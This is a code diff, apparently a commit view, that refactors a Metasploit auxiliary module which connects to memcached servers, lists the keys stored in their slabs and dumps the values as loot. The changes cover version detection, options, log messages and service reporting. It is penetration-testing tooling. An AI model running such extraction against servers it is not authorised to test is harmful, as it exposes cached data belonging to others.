@@ -11,21 +11,32 @@ class Metasploit3 < Msf::Auxiliary
11
11
include Msf ::Auxiliary ::Report
12
12
13
13
def initialize ( info = { } )
14
- super ( update_info ( info ,
14
+ super ( update_info (
15
+ info ,
15
16
'Name' => 'Memcached Extractor' ,
16
17
'Description' => %q(
17
18
This module extracts the slabs from a memcached instance. It then
18
19
finds the keys and values stored in those slabs.
19
20
) ,
20
21
'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ] ,
21
- 'License' => MSF_LICENSE
22
+ 'License' => MSF_LICENSE ,
23
+ 'References' =>
24
+ [
25
+ [ 'URL' , 'https://github.com/memcached/memcached/blob/master/doc/protocol.txt' ]
26
+ ]
22
27
) )
23
28
24
29
register_options (
25
30
[
26
- Opt ::RPORT ( 11211 ) ,
27
- OptInt . new ( 'MAXKEYS' , [ true , 'Maximum number of keys to be pulled from a slab' , 100 ] )
28
- ] , self . class )
31
+ Opt ::RPORT ( 11211 )
32
+ ] , self . class
33
+ )
34
+
35
+ register_advanced_options (
36
+ [
37
+ OptInt . new ( 'MAXKEYS' , [ true , 'Maximum number of keys to be pulled from a slab' , 100 ] )
38
+ ] , self . class
39
+ )
29
40
end
30
41
31
42
def max_keys
@@ -80,19 +91,35 @@ def data_for_keys(keys = [])
80
91
end
81
92
82
93
def determine_version
83
- sock . send ( "stats \r \n " , 0 )
94
+ sock . send ( "version \r \n " , 0 )
84
95
stats = sock . recv ( 4096 )
85
- matches = /^STAT (?<version>version (\. |\d )*)/ . match ( stats )
86
- matches [ :version ] || 'unkown version'
96
+ if /^VERSION (?<version>[\d \. ]+)/ =~ stats
97
+ version
98
+ else
99
+ nil
100
+ end
87
101
end
88
102
89
103
def run_host ( ip )
90
- print_status ( "#{ ip } :#{ rport } - Connecting to memcached server..." )
104
+ peer = "#{ ip } :#{ rport } "
105
+ vprint_status ( "#{ peer } - Connecting to memcached server..." )
91
106
begin
92
107
connect
93
- print_good ( "Connected to memcached #{ determine_version } " )
108
+ if ( version = determine_version )
109
+ vprint_good ( "#{ peer } - Connected to memcached version #{ version } " )
110
+ report_service (
111
+ host : ip ,
112
+ name : 'memcached' ,
113
+ port : rport ,
114
+ proto : 'tcp' ,
115
+ info : version
116
+ )
117
+ else
118
+ print_error ( "#{ peer } - unable to determine memcached protocol version" )
119
+ return
120
+ end
94
121
keys = enumerate_keys
95
- print_good ( "Found #{ keys . size } keys" )
122
+ print_good ( "#{ peer } - Found #{ keys . size } keys" )
96
123
return if keys . size == 0
97
124
98
125
data = data_for_keys ( keys )
@@ -106,11 +133,11 @@ def run_host(ip)
106
133
print_line
107
134
print_line ( "#{ result_table } " )
108
135
else
109
- store_loot ( 'memcached.dump' , 'text/plain' , ip , data , 'memcached.txt' , 'Memcached extractor' )
110
- print_good ( "Loot stored! " )
136
+ path = store_loot ( 'memcached.dump' , 'text/plain' , ip , data , 'memcached.txt' , 'Memcached extractor' )
137
+ print_good ( "#{ peer } - memcached loot stored as #{ path } " )
111
138
end
112
139
rescue Rex ::ConnectionRefused , Rex ::ConnectionTimeout
113
- print_error ( " Could not connect to memcached server!")
140
+ vprint_error ( " #{ peer } - Could not connect to memcached server!")
114
141
end
115
142
end
116
143
end
0 commit comments